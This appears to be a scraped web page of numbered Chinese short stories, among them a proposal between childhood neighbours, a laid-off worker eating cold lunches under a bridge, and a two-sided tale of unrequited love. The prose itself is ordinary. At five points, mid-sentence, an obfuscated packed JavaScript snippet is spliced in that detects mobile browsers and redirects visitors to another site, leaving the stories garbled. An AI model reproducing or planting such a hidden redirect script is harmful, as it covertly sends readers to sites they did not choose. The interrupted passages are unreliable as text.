甚至有人开玩笑说，我是不是吃了唐僧肉。 每当这时候，我总是礼貌地笑笑，不说话。 但我总觉得，我好像忘了一件什么事。或者，丢了一样什么东西。 这种感觉很奇怪。就像是你出门后总觉得自己没关火，或者是你要给谁打个电话却想不起名字。它不致命，但它像一根刺，永远卡在喉咙里，咽不下去，也吐不出来。 我变得很讨厌吃甜食。 我很讨厌去医院。 我特别讨厌那种印着字的搪瓷杯。 但我不知道为什么。 今天下雪了。 我走在回家的路上，路过小区门口时，看见一只流浪猫缩在保安亭的避风处瑟瑟发抖。 是一只黑猫。 鬼使神差地，我停下了脚步。 我蹲下来，看着它。它有着一双琥珀色的眼睛，警惕地看着我。 “喵。”它叫了一声。 那一瞬间，我的心脏猛地抽搐了一下。一种巨大的、毫无来由的悲伤像海啸一样向我袭来，瞬间淹没了我。 眼泪毫无预兆地砸了下来，落在雪地上，烫出一个个小坑。 我捂着胸口，大口大口地喘气，在人来人往的街道上哭得像个傻子。 路人纷纷侧目，有个好心的阿姨停下来问我：“姑娘，你怎么了？丢东西了吗？” 我抬起头，透过模糊的泪眼，看着漫天的风雪。 我想说话，张开嘴，却发不出声音。 我想说我好像丢了一个人。 我想说我好像爱过谁。 我想说我这颗依然在有力的跳动的心脏，其实早就死在三年前的那个冬天了。 但我什么都想不起来。 我不记得他的名字，不记得他的长相，甚至不记得他是不是真的存在过。 我只记得一种感觉。 冷。 彻骨的冷。 “没……没事。” 我擦干眼泪，从包里掏出一根火腿肠，剥开，放在那只黑猫面前。 “吃吧。”我轻声说，声音沙哑，“吃饱了就不冷了。” 黑猫低头吃了起来。 我站起身，拍了拍大衣上的雪，转身走进那个灰色的、巨大的、像迷宫一样的城市。 雪还在下。 它公平地落在每一个人的肩头，掩埋了所有的秘密，所有的爱恨，以及所有那些未曾说出口的告别。 在这个永恒的背面，我健康地、长寿地、孤独地活着。 57. 我在等风停 徐周衍进门的时候，我正裹着一床厚棉被，像只巨大的蚕蛹一样缩在沙发上，对着那台只会吹冷风的空调怀疑人生。 外面是零下十度的暴雪，屋里是零度。 “林岁岁。” 他把手里拎着的两大袋东西放在玄关，一边换鞋一边皱眉看我。 “你是笨蛋吗？暖气坏了不知道给我打电话，非要等到自己快冻成冰棍了才发朋友圈卖惨？” 徐周衍，二十八岁，投行精英，长得人模狗样，可惜长了张嘴。 他是我对门的邻居，也是我这辈子最大的“克星”。我们两家从穿开裆裤的时候就认识，我看着他从小时候的鼻涕虫长成现在的“徐总”，他看着我从爱哭鬼长成现在的……大龄单身女插画师。 “我打了。”我把脸埋在被子里，声音闷闷的，“你没接。” 徐周衍愣了一下，掏出手机看了一眼，然后神色有些不自然地咳了一声。 “在开会。静音了。” 他脱掉那件看起来就很贵的羊绒大衣，只穿着里面的衬衫和西装马甲。衬衫袖口挽起，露出线条流畅的小臂，手腕上那块百达翡丽闪得我眼晕。 “起来。”他走过来，居高临下地看着我。 “干嘛？太冷了我不动。” “去我家。”他言简意赅，“我家暖气没坏。” “不去。”我很有骨气地翻了个身，“你家那种性冷淡风的装修，看着就冷。” 徐周衍气笑了。 他直接弯下腰，连人带被子，一把将我打横抱了起来。 “啊！徐周衍你干嘛！放我下来！”我吓得尖叫，像个扑棱蛾子一样在他怀里乱动。 “别动。”他在我屁股上不轻不重地拍了一下，“再动把你扔雪地里。” 他的怀抱隔着被子我也能感觉到热度，还有他身上那股好闻的、混合着风雪和雪松香水的味道。我瞬间老实了，缩在他怀里，只露出一双眼睛。 “徐周衍。” “说。” “你是不是又健身了？我最近胖了五斤，你居然抱得这么轻松。” 他低头看了我一眼，眼神里带着那种让我心跳漏一拍的、漫不经心的宠溺。 “林岁岁，你就是胖成猪，我也抱得动。” 徐周衍的家确实很“性冷淡”。黑白灰的色调，干净得像样板间。 但他把我放在那张昂贵的意大利真皮沙发上后，做了一件非常不“性冷淡”的事。 他进了厨房。 十分钟后，屋子里弥漫起一股霸道的香气。 那是板栗烧鸡的味道。 我像只闻到肉味的狗，瞬间把头从被子里探了出来。 徐周衍端着盘子出来，放在茶几上。除了板栗烧鸡，还有一碗热腾腾的番茄牛腩汤，和一碟我最爱的草莓。 “吃吧。”他解开马甲的扣子，在我对面的地毯上坐下，“这回不用我喂了吧？” 我拿起筷子，夹了一块鸡肉放进嘴里。板栗炖得软糯香甜，鸡肉滑嫩入味，好吃得我想哭。 “徐周衍，你简直是神。”我含糊不清地拍马屁，“以后谁嫁给你真是积了八辈子的德。” 徐周衍正在给我剥虾的手顿了一下。 他抬起眼皮，那双狭长的凤眼深深地看了我一眼。 “是吗？”他把剥好的虾肉放进我碗里，语气淡淡的，“可惜有人积了八辈子德，却是个瞎子。” “谁瞎了？”我愤愤不平，“告诉我，我去帮你骂她。” 徐周衍看着我，眼神像是看一个无可救药的智障儿童。他叹了口气，把一颗最大最红的草莓塞进我嘴里。 “吃你的吧。废话真多。” 吃饱喝足，体温回升。人一旦暖和了，就开始犯困。 我靠在沙发上，看着徐周衍在厨房洗碗的背影。 水流声哗哗作响，暖黄色的灯光打在他宽阔的背上。我想起小时候，我闯了祸不敢回家，也是这样躲在他家，吃他煮的方便面，看着他一边骂我笨，一边帮我写检讨书。 这么多年了，好像什么都没变。 除了他变得越来越好看，而我变得越来越依赖他。 “徐周衍。”我喊他。 “又怎么了？”他擦着手走出来。 “我想洗头。”我指了指自己那头乱糟糟的长发，“我家热水器也坏了。” 徐周衍看了一眼表：“林岁岁，现在是晚上十一点。你一定要在这个时候折腾吗？” “我想洗嘛。”我看着他，使出了杀手锏——拽着他的衣角晃了晃，“头皮痒，睡不着。” 徐周衍盯着我看了一会儿。 最后，他认命地叹了口气，转身走向浴室。 “进来。水给你放好了。” 我洗完头出来，徐周衍已经拿着吹风机坐在沙发上等我了。 这好像是我们之间的默契。从小到大，我的头发都是他吹的。因为我懒，手举酸了就会发脾气，而他虽然嘴上嫌弃，却从来没让我湿着头发睡过觉。 我熟练地在他腿边坐下，背对着他。 吹风机“嗡嗡”地响起来。 他的手指穿过我的发丝，指腹温热，动作轻柔得不可思议。暖风吹过耳畔，带来一阵阵酥麻的痒意。 “徐周衍。” “别说话，吵。” “我想说……”我稍微提高了一点音量，“我不相亲了。” 身后那种穿梭在发丝间的手指停顿了一下。 吹风机的声音还在响，但我感觉到气氛变了。 “为什么？”他关掉吹风机。世界瞬间安静下来，只剩下窗外风雪拍打玻璃的声音。 “没意思。”我把玩着手里的一颗草莓，“见的几个人都太正经了，吃饭还要算卡路里。而且……” 我转过身，仰头看着他。 他坐在沙发上，微微低着头，那双平时总是带着几分精明算计的眼睛，此刻深邃得像是一片海。 “而且什么？”他的声音有点哑。 “而且他们都没你会做饭，没你会赚钱，也没你长得好看。”我小声嘟囔，“徐周衍，你把我的标准拉得太高了。你这是在断我后路。” 徐周衍看着我，喉结上下滚动了一下。 他突然伸手，把吹风机扔在一边，双手捧住我的脸。 他的掌心很烫，贴着我刚刚洗完澡微凉的皮肤，烫得我一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17088281|195404||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 激灵。 “林岁岁。” 他叫我的全名，语气严肃得让我有点慌。 “我不是在断你后路。” 他低下头，额头抵着我的额头，鼻尖蹭过我的鼻尖。呼吸交缠在一起，全是暧昧的甜味。 “我是在告诉你，此路不通。” “啊？”我懵了。 “我是说，”他咬牙切齿地看着我这个不开窍的脑袋，“除了我这条路，别的路都给我堵死了。你只能走我这一条。” 我眨了眨眼，大脑死机了三秒，然后——轰的一声炸开了。 “你……你的意思是……” “意思是，我伺候了你二十几年，不是为了把你养得白白胖胖然后送给别人的。” 徐周衍松开一只手，从口袋里掏出一个东西，直接套在了我的无名指上。 冰凉的金属触感。 我低头一看。是一枚戒指。简单，大方，钻石大得有点晃眼。 “本来想找个浪漫点的餐厅，再安排个小提琴什么的。”他有些懊恼地抓了抓头发，耳根红得滴血，“但你非要在这个时候撩拨我。林岁岁，这可是你自找的。” “这是……求婚？”我看着手上的戒指，傻了。 “不然呢？扶贫吗？” 徐周衍没好气地白了我一眼，但下一秒，他又变回了那个让我心动的样子。 他捧着我的脸，眼神温柔得一塌糊涂。 “林岁岁，别相亲了。也别看别人了。” “我等风停等了一晚上，等你长大等了二十几年。我的耐心用光了。” “现在，我要行使男朋友……不，未婚夫的权利了。” 没等我说话，他吻了下来。 这是一个蓄谋已久的吻。 带着板栗烧鸡的香气，带着草莓的甜味，带着他二十几年隐忍不发的占有欲，铺天盖地地淹没了我。 我闭上眼，伸手环住了他的脖子。 原来，所谓的“克星”，其实是命中注定的“救星”。 第二天早上，我是被徐周衍吻醒的。 窗外的雪停了，阳光洒满了一室。 “醒了？”他穿着围裙站在床边，神清气爽，看起来心情好得不得了，“起来吃早饭。做了你爱吃的生煎包。” 我缩在被子里，看着手上那枚亮闪闪的戒指，还有点回不过神。 “徐周衍。” “嗯？” “我们要不要……私奔？” “私奔？”他挑眉，“去哪？” “去领证。”我从被子里跳起来，挂在他身上，“趁着民政局还没下班，趁着我还没反悔。” 徐周衍愣了一下，随即爆发出一阵爽朗的大笑。 他托着我的腿，把我抱得更高了一些，然后在我的嘴唇上狠狠亲了一口。 “林岁岁，这可是你说的。” “要是敢反悔，我就把你关在家里，给你做一辈子的板栗烧鸡。” “成交。” 这一天，龙城的雪很大，天很冷。 但我拥有了全世界最暖和的围巾，最好吃的饭票，和那个爱了我整个青春的男人。 这就够了。 58. 《带鱼》 老周那是早上五点半醒的。是被尿憋醒的，也是被冻醒的。 身边的老婆秀芬睡得死沉，呼噜声像拉大锯，一声接着一声，听着喉咙里像是有口老痰咳不出来。老周轻手轻脚地掀开被子，棉被硬邦邦的，像张铁皮压在身上。一钻出来，屋里的冷气立马顺着秋衣领口往里灌，激得他打了个激灵，那层老鸡皮疙瘩全冒了出来。 他摸黑套上那条都在屁股蛋上磨得发亮的工装裤，提着尿桶出了门。 楼道里黑得像煤窑，脚底下踩着不知道谁家堆的大白菜，软塌塌的，差点滑一跤。水房里已经有人在刷牙了，是隔壁车间的小吴。 “周师傅，早啊。”小吴满嘴白沫子，声音含混，“听讲这阵子三车间也不忙？” 老周提裤子的手顿了一下，在那暗影里含糊地“嗯”了一声：“那是，检修，检修呢。” 他没敢看小吴的眼，赶紧接了半盆凉水抹了把脸。冰冷的水把脸上的褶子激开了，也把他心里的那点慌给激醒了。 回到屋，他开始装饭盒。 昨晚剩的两块红烧带鱼，带鱼身子窄，也是这几天菜场打折抢的“猫鱼”，裹了厚面粉炸的，那点腥味全靠重油重酱压着。他把带鱼拨到铝饭盒的一头，又铲了半饭盒昨晚剩下的二米饭（大米掺小米），盖子一扣，“咔哒”一声，听着脆生。 “带鱼给虎子留了吗？”秀芬不知道啥时候醒了，在那被窝里哑着嗓子问。 “留了，那头大，刺少，都在碗里扣着呢。”老周把饭盒塞进那个军绿色的挎包里，那是他当兵时候留下的，现在背带都磨起毛了。 “厂里今儿中午蒸饭，你记得早点把饭盒放笼屉里，别跟上回似的，去晚了挤不进去，吃凉的闹肚子。”秀芬翻了个身，床板吱扭响了一声。 “知道了，啰嗦。” 老周推起那是辆除了铃铛不响哪都响的二八大车，出了门。 风真硬，刮在脸上像拿砂纸打。老周缩着脖子，骑得飞快。路过厂门口的时候，那两扇大铁门紧闭着，门口传达室的老头正裹着大衣听收音机。 老周没减速，也没拐弯进厂，而是把车把一歪，顺着那条满是煤渣子的路，一直骑到了两公里外的立交桥底下。 那里已经聚了一堆人。 这儿是自发的“劳务市场”。一群大老爷们，有的揣着手，有的蹲在路牙子上抽旱烟。有扛着大锤的，有挂着“通下水”牌子的。 老周找了个角落，把车支好。他没带工具，他是来卖力气的。 “来个扛包的！卸水泥！两块钱一吨！”一辆灰扑扑的解放大卡车停在路边，司机探出头喊。 “我！” “我去！” 呼啦一下，十几个人围了上去。老周慢了一步，他那老寒腿在这天里迈不开步子。再加上他身上还穿着那件印着“xx钢厂”的工作服，虽然里面棉絮都板结了，但那是他最后的体面。让他跟那帮盲流子抢活干，他张不开嘴。 一上午，他就在冷风里站着。看着别人被领走，又看着别人灰头土脸地回来。 到了中午十二点，没人管饭。 老周躲在桥墩子背风的那面，把那个铝饭盒掏了出来。 饭盒冰凉，透着一股铁腥味。 打开盖子，那两块带鱼裹在一层凝固的白油里，看着像蜡做的。二米饭硬得像石子。以前在厂里，这时候该是把饭盒送进那个巨大的蒸汽房，拿出来时热气腾腾，油化开了，渗进饭里，那才叫香。 老周从兜里摸出一把折叠勺，使劲戳了一下那团硬饭。 “咔嚓”。 勺子没戳动，倒是把那层冻住的油皮给戳破了。 他看了一眼周围，旁边一个蹲着啃干馒头的民工盯着他饭盒里的鱼，那是喉结上下滚了一下。 老周背过身去，挖了一勺带着白油的冷饭，塞进嘴里。 凉。透心凉。那腥味没了热气的遮掩，直冲脑门子。那层厚面粉硬邦邦的，硌牙。他嚼了两下，那股猪油凝在舌苔上的感觉，让他一阵反胃。 但他还是咽了下去。一口，两口。 为了不浪费那两块带鱼，他连骨头都没吐，嚼碎了混着冷饭吞进了肚子里。 吃完饭，他没敢把饭盒马上收起来。他在桥墩子上蹭了蹭勺子，然后看着那是空荡荡的饭盒发呆。 下午三点，终于有个拉板车的活。帮一家搬家的拉旧家具，给五块钱。老周干了。 那柜子死沉，是老式的实木大立柜。老周在前面蹬，脖子上的青筋跟蚯蚓似的蹦出来。那风往嗓子眼里灌，肺管子像火烧一样疼。 “师傅，加把劲儿啊！这还得两趟呢！”主家坐在后面催。 老周没说话，只觉得中午吃的那个冷带鱼在胃里翻腾，顶得他想吐。 晚上六点，老周准时推车进了筒子楼的院子。 正是做饭的点儿。楼道里弥漫着呛人的辣椒味和油烟味。 一进屋，暖气扑面而来。秀芬正把那碗留给儿子的带鱼往热锅里倒。 “回来了？”秀芬看了一眼他那张被风吹得黑紫的脸，“快洗手，吃饭。” 老周 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17088282|195404||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 把挎包挂在门后，那个铝饭盒在包里晃荡了一下，发出空洞的响声。 “今儿车间那个蒸饭箱是不是坏了？我看隔壁小吴回来也是一脸晦气。”秀芬一边盛饭一边随口问。 老周心里“咯噔”一下，正在解扣子的手僵住了。 “啊……是，蒸汽不足，饭有点夹生。”老周没敢回头，赶紧抓起脸盆架上的毛巾，把整个脸埋进去，在那条发硬的毛巾里用力搓着，搓得脸皮生疼。 吃完饭，秀芬收拾桌子。老周坐在那个只有三个腿儿稳当的方凳上抽烟，那是两毛钱一包的“大前门”，辣嗓子。 “饭盒呢？拿来我刷了。”秀芬伸出手。 老周下意识地护了一下挎包：“不……不用，我自己刷就行。” “你那手跟锉刀似的，能刷干净？”秀芬一把扯过挎包，掏出了那个铝饭盒。 老周的心提到了嗓子眼。 秀芬打开饭盒盖子。 饭盒是空的，吃得很干净。但是，那饭盒壁上，挂着一层厚厚的、白色的、凝固的油脂。还有几颗没刮干净的米粒，死死地粘在白油里。 如果是蒸过的饭盒，油是流动的，就算冷了，也是挂着油珠子，不会是这种惨白惨白的、像冻疮膏一样的硬块。那是只有冷饭冷油才会留下的痕迹。 空气突然安静了。 那块老旧的挂钟“咔哒、咔哒”地走着。 秀芬盯着那个饭盒看了好几秒。她的手有点抖，指甲盖里还有洗菜留下的泥。 老周低着头，死死盯着自己脚上那双解放鞋，鞋帮处开胶了，露出里面灰色的袜子。他等着秀芬问，等着那层窗户纸被捅破，等着那句“你是不是下岗了”。 “水房水凉。”秀芬突然开了口，声音平静得吓人，“我兑点热水刷。油大，冷水洗不掉。” 她没看老周，拿着饭盒转过身，往暖瓶里倒水。 热水倒进饭盒里，一股带着鱼腥味的热气腾了起来，瞬间模糊了她的脸。 “明儿……”秀芬的声音在那团雾气里有点发颤，“明儿别带鱼了。听说巷口那家包子铺卖剩下得便宜，你买两个带着吧。省事儿。” 老周手里夹着的烟灰，“啪嗒”一声掉在了裤子上，烫出一个小洞。他没掸，就那么看着那个小火星子慢慢熄灭。 “哎。”老周应了一声，嗓子里像是堵着一团湿棉花。 窗外，不知道谁家的电视机声音开得大，正放着那个年代特有的新闻联播结束曲。那是激昂的、充满希望的旋律，在寒冬的夜风里飘得很远，很远。 59. 《她是四月里的一场误会》（1） 我一直觉得，喜欢林笙是一件很像“吞云吐雾”的事情。 不是抽烟那种，我不会抽烟，林笙也不许。我的意思是，那种感觉像是在冬天的早晨张大嘴巴去咬一口白色的雾气，凉凉的，甜甜的，看起来有一大团，可是牙齿一合上，里面什么也没有。 只有牙齿碰牙齿的酸涩，和一肚子咽不下去的冷风。 林笙比我大三岁。我叫她姐姐，因为大家都这么叫。每次我这么叫她的时候，她就会把刚剥好的橘子分给我一半。她的手指很长，指甲修剪得圆润干净，指尖总是带着淡淡的橘子皮味道。 我接过橘子的时候，手指会碰到她的掌心。那一瞬间，我心里有一只小鸟扑棱了一下翅膀。 我是一只很听话的小狗。这是林笙的朋友们对我的评价。 她们聚会的时候，我就乖乖坐在角落里喝汽水。林笙喝酒，喝得脸颊红红的，像涂了很贵的胭脂。她喝醉了就喜欢乱抱人，她抱过短发的阿May，抱过那个画画的男生，最后才轮到我。 她把下巴搁在我的肩膀上，头发蹭得我脖子痒痒的。她笑着说：“还是小朋友最乖，身上有奶味。” 我身体僵硬得像一块石头，心里却在放烟花。我不敢动，甚至不敢大声呼吸，怕把这朵云彩吹跑了。我其实已经二十岁了，不用再喝牛奶了，但我还是每天喝，因为她说过那句话。 我想，如果我一直这么乖，一直做那个“身上有奶味”的小朋友，我是不是就可以永远赖在她身边？ 可是，乖小孩是没有糖吃的。乖小孩只能看着别人吃糖。 那个男人出现的时候，是一个雨天。 我去给林笙送伞，在楼下看见了他们。雨下得很大，世界灰蒙蒙的，像是一张怎么也洗不干净的旧照片。 那个男人很高，肩膀很宽，伞几乎全都倾斜在林笙那边。林笙在笑，那种笑我从来没见过。 不是对我那种宠溺的、像看小宠物的笑，也不是对朋友那种客气的、爽朗的笑。那是羞涩的，带着一点点慌乱和全是依赖的笑。 她的眼睛里有光。那光太亮了，刺得我眼睛疼。 我拿着伞站在树后面，觉得自己像个还没上场就被判了死刑的小丑。我看了看手里那把透明的雨伞，那是便利店买的，十五块钱一把。而那个男人手里的伞，看起来就很贵，很稳，能遮风挡雨。 那天我没有把伞送出去。我把伞扔进了垃圾桶，然后淋着雨跑回了宿舍。 我也想发烧，想生病，想让林笙心疼我。 但我身体太好了，连个喷嚏都没打。你看，连老天爷都在嘲笑我，它连一点点让我撒娇的借口都不给我。 后来他们就在一起了。 林笙开始变得很忙。她的朋友圈里不再是风景和猫，开始出现两张电影票，两杯咖啡，还有那个男人的背影。 我学会了点赞。 我在每一个深夜，反复地点开那张照片，把那个男人的背影放大，试图找出一点点他不好的地方。我想诅咒他，想他走路摔跤，想他吃面没有调料包。 但我又很快在心里对自己说：对不起，我不该这么坏。如果他摔跤了，林笙会难过的。 我舍不得林笙难过。所以我只能祝他走路稳当，吃面有双倍调料。 毕业典礼那天，林笙穿着学士服来找我拍照。 阳光很好，好得过分。她拉着我的手，站在草坪上。摄影师喊“三、二、一”，她突然侧过头，亲了一下我的脸颊。 “以后也要好好的呀，我的小朋友。” 快门按下的那一刻，我闭上了眼睛。 那是我离她最近的一次，也是最远的一次。 那个吻很轻，像一片落叶掉在水面上，连涟漪都没有泛起，就沉下去了。我知道，这对她来说，只是姐姐对妹妹的告别。 可对我来说，那 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17088283|195404||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是我的初恋，是我的整个青春，是我无数个夜里湿漉漉的梦。 我笑着对她说：“毕业快乐，姐姐。” 我的声音很稳，没有发抖。我真厉害，我应该去拿奥斯卡奖。 后来，我收到了她的请柬。 红色的，烫金的字。上面写着她和那个男人的名字。他们的名字并排在一起，看起来那么般配，像是一道无可辩驳的数学公式。 我去了婚礼现场。我穿了一件白色的裙子，不太像伴娘，倒有点像个迷路的天使。 她在台上交换戒指的时候，我坐在台下剥橘子。 现在的橘子没有冬天的甜，酸得要命。我剥开一瓣，塞进嘴里，酸水一下子就在口腔里炸开了，一直酸到鼻尖，酸到眼眶。 我看着她。她穿着白色的婚纱，长长的裙摆铺在红毯上，像一片温柔的雪。她笑得那么好看，比我在雨天见到的那次还要好看。 那个男人掀开她的头纱，吻了她。 周围全是掌声和欢呼声。 我用力地嚼着嘴里的橘子，连着白色的橘络一起吞下去。 我想，我的林笙，终于变成了别人的森林。 我以前总想着，等我长大了，等我变得厉害了，我就能站在她身边，对她说：“我不做你的小朋友了，我想做你的爱人。” 但我忘了，时间是不会等人的。 她在前面走得太快了，她在阳光下奔跑，而我只是一株长在阴影里的苔藓。我拼命地伸长脖子，也只能碰到她的脚踝。 婚礼结束后，我没有去敬酒。 我一个人走在回家的路上。天已经黑了，路灯把我的影子拉得很长很长。 我对着空气伸出手，做了一个拥抱的姿势。 “林笙，再见。” 我轻轻地说。 风吹过我的指缝，空荡荡的。 这一次，我真的没有咬到那口雾气。 60. 《她是四月里的一场误会》（2） 我其实，不喜欢喝牛奶。 那玩意儿有股腥味，喝完了嘴里发酸。但我第一次随口跟那个小孩说“你身上有奶味，真乖”的时候，我看见她的耳朵尖一下子就红了。 那种红，是从脖子根一路烧上来的，像落日掉进了深水里。 从那天起，我发现她开始天天喝牛奶。甚至在我每次靠近她的时候，她都会下意识地屏住呼吸，像是怕把那股我不经意间夸赞过的味道弄散了。 她是真的乖。乖得让人心惊肉跳。 我比她大三岁。三岁，在小孩眼里可能只是三个年级，但在成人世界里，有时候是一道跨不过去的坎。 我知道她在看我。 那种眼神太烫了。每次聚会，我坐在人群中央，周围是嘈杂的音乐和推杯换盏的朋友。但我能感觉到角落里有一道视线，像一根绷紧的弦，死死地系在我身上。 我喝醉了去抱人。我抱了阿May，抱了老张。我知道她在等。 所以我最后才抱她。 我把下巴搁在她肩膀上的时候，感觉到她的身体僵硬得像块石头。她的心跳声太响了，“咚、咚、咚”，像是有人在她胸腔里用力敲鼓。震得我耳朵发麻。 我闭着眼睛装醉，心里却清醒得像刚洗过脸。 我想，这孩子真傻。 她以为她把自己藏得很好。她以为只要她不开口，只要她安静地做个“乖小孩”，这层窗户纸就不会破。 其实她不知道，她那点小心思，就像透明玻璃缸里的金鱼，连吐个泡泡我都看得一清二楚。 但我不能说。 一旦说了，她就没法再做那个坐在我身边剥橘子的小孩了。她会被迫长大，被迫面对拒绝，被迫狼狈地逃离。 所以我选择了最卑鄙的处理方式：我利用了她的“乖”，来粉饰太平。 那天下雨，那个男人——也就是后来的未婚夫来接我。 我看见了树后面的她。 雨太大了，世界灰蒙蒙的。但她那把透明的雨伞太显眼了，像个脆弱的气泡。她手里紧紧攥着把伞，眼神直勾勾地盯着我和我身边的男人。 那眼神里没有嫉妒，只有一种被抛弃的小狗般的绝望。 我那一瞬间其实想过推开那个男人。我想过冲进雨里，去把那个傻孩子拽过来，告诉她：“别淋雨了，感冒了很难受。” 但我忍住了。 我转过头，对着身边的男人笑了一下。我挽住他的手臂，把自己藏进那把又大又稳的黑伞里。 因为我知道，我给不了她想要的那个世界。 我是一个俗人。我想要安稳的生活，想要挡风的墙，想要不必在雨天担心淋湿的伞。而她太年轻了，她的爱太炽热、太纯粹，像一团火。 火是会烫伤人的。我怕烫，也怕把她燃尽了，最后只剩下一地灰。 所以，我假装没看见树后的那把透明伞。 我上了车，看着后视镜里那个越来越小的身影。 对不起啊，小朋友。姐姐是个胆小鬼。 毕业典礼那天，我去送她。 阳光很好。她穿着学士服，笑得那么干净。 我看着她，心里突然涌上一股巨大的酸涩。以后就没有这样一个傻瓜，会因为我的一句话去喝不爱喝的牛奶，会把剥得最干净的橘子留给我了。 “以后也要好好的呀，我的小朋友。” 我亲了她的脸颊。 这是我给她唯一的、也是最后的越界。 那个吻很轻。我感觉到她在那一瞬间闭上了眼睛，像是等待宣判的囚徒。 但我很快就撤离了。 我必须撤离。 因为如果再多停留一秒，我怕我会忍不住告诉她：其实我不爱吃橘子，我只是喜欢看你剥橘子时专注的样子；其实那天雨下得很大，我看见你在发抖；其实……其实我也曾在某个瞬间，想 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17088284|195404||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 要在那场名为青春的雾里，和你一起迷路。 但我终究是个大人了。 大人要学会及时止损，学会把那些不合时宜的悸动烂在肚子里。 后来我结婚了。 我在台上交换戒指。我在人群中一眼就看见了她。 她穿着不太合身的白色裙子，坐在台下，正在剥橘子。 那个季节的橘子很难吃，酸涩，皮又厚。 我看着她剥开一瓣，塞进嘴里。她嚼得很用力，连眉毛都没有皱一下。但我知道那是酸的，因为我看见她的眼角红了。 那一刻，我正在听司仪念誓词：“无论贫穷还是富有，健康还是疾病……” 我的余光却一直落在她身上。 她在吞咽。她在把那些酸涩的、没剥干净的橘络，连同她那场无疾而终的单恋，一起吞进肚子里。 那一刻，我突然很想哭。 不是因为感动，而是因为一种深刻的无力感。 我保护了她的天真吗？ 没有。 我只是眼睁睁地看着她，用一种最惨烈的方式，逼着自己长大了。 婚礼结束后，我在人群散去时回望了一眼。 那个角落的桌子上，留着一堆凌乱的橘子皮。 她走了。 我拿出手机，想给她发条信息，问问她有没有安全到家。 字打了一行，又删了。 最后，我只是把手机放回包里，挽住了新郎的手臂。 风吹过来，空气里有一股淡淡的橘子味。 我想，她终于自由了。 她终于不用再为了讨好我，去假装喜欢吃酸橘子了。她终于不用再做那个小心翼翼的小朋友了。 而我，也将永远守着这个秘密，假装那场四月里的雾，从未打湿过我的眼睛。 我没能接住那场雨。 但我希望，放晴后的世界，能对她温柔一点。 61. 《生意人》 我是个生意人。 更确切地说，我是一个靠贩卖“旧时光”活着的人。古董行里的人都叫我一声谢二爷。他们怕我，说我这双眼睛毒，看玉能看穿石皮，看人能看穿骨相。 我听了只觉得好笑。看穿了又怎么样？这世上大部分人的骨头，拆出来称一称，还没我手上一串珠子重。 直到我看见许白。 许白是个修文物的。他是那种很薄的人，穿着洗得发白的衬衫，坐在昏暗的灯光下修一只碎掉的宋瓷。 他修东西的时候，连呼吸都是轻的。 我站在他身后看了半个钟头。 我这辈子算计过几亿的盘口，跟最狡猾的狐狸喝过酒，但在那个当下，我突然觉得自己像个闯进了瓷器店的莽夫。我甚至不敢大声喘气，怕一口气吹过去，就把他给吹碎了。 我不可救药地想要供养他。 不是那种要在床上讨回来的供养。我太脏了，满身都是铜臭味和算计人心留下的淤泥。 我想把许白放在高阁上，给他建一个无菌的玻璃房子。 我想洗干净手，做回二十年前那个还没学会骗人的傻小子，去给他的窗台上放一束花。 我开始追求他。 用一种我自己都觉得笨拙的方式。 我推掉了所有的应酬，每天下班去他的工作室坐着。我不说话，就坐在那张咯屁股的小马扎上，帮他递胶水，递镊子。 许白偶尔会回头看我一眼，眼神怯生生的，像只受惊的兔子。 我冲他笑，尽量把嘴角的弧度扯得温和，像我在镜子里练习过无数次那样。 我说：“许老师，您忙您的，我就看看。” 我天真地以为，这就是陪伴。 我以为，只要我坐得够低，只要我把姿态放得够软，他就能忘记我是那个翻手为云覆手为雨的谢二爷，而只把我当成一个叫谢某人的追求者。 我甚至幻想过，有一天，他会因为我递错了一把刷子而嗔怪我，会像对平辈一样拍我的肩膀。 那一天，工作室停电了。 外面下着暴雨，屋里漆黑一片。 许白很怕黑，我听见他在黑暗中急促的呼吸声。 我下意识地掏出打火机，点亮了一簇小小的火苗。 火光里，我看见他缩在墙角，脸白得像纸。 我心疼坏了。 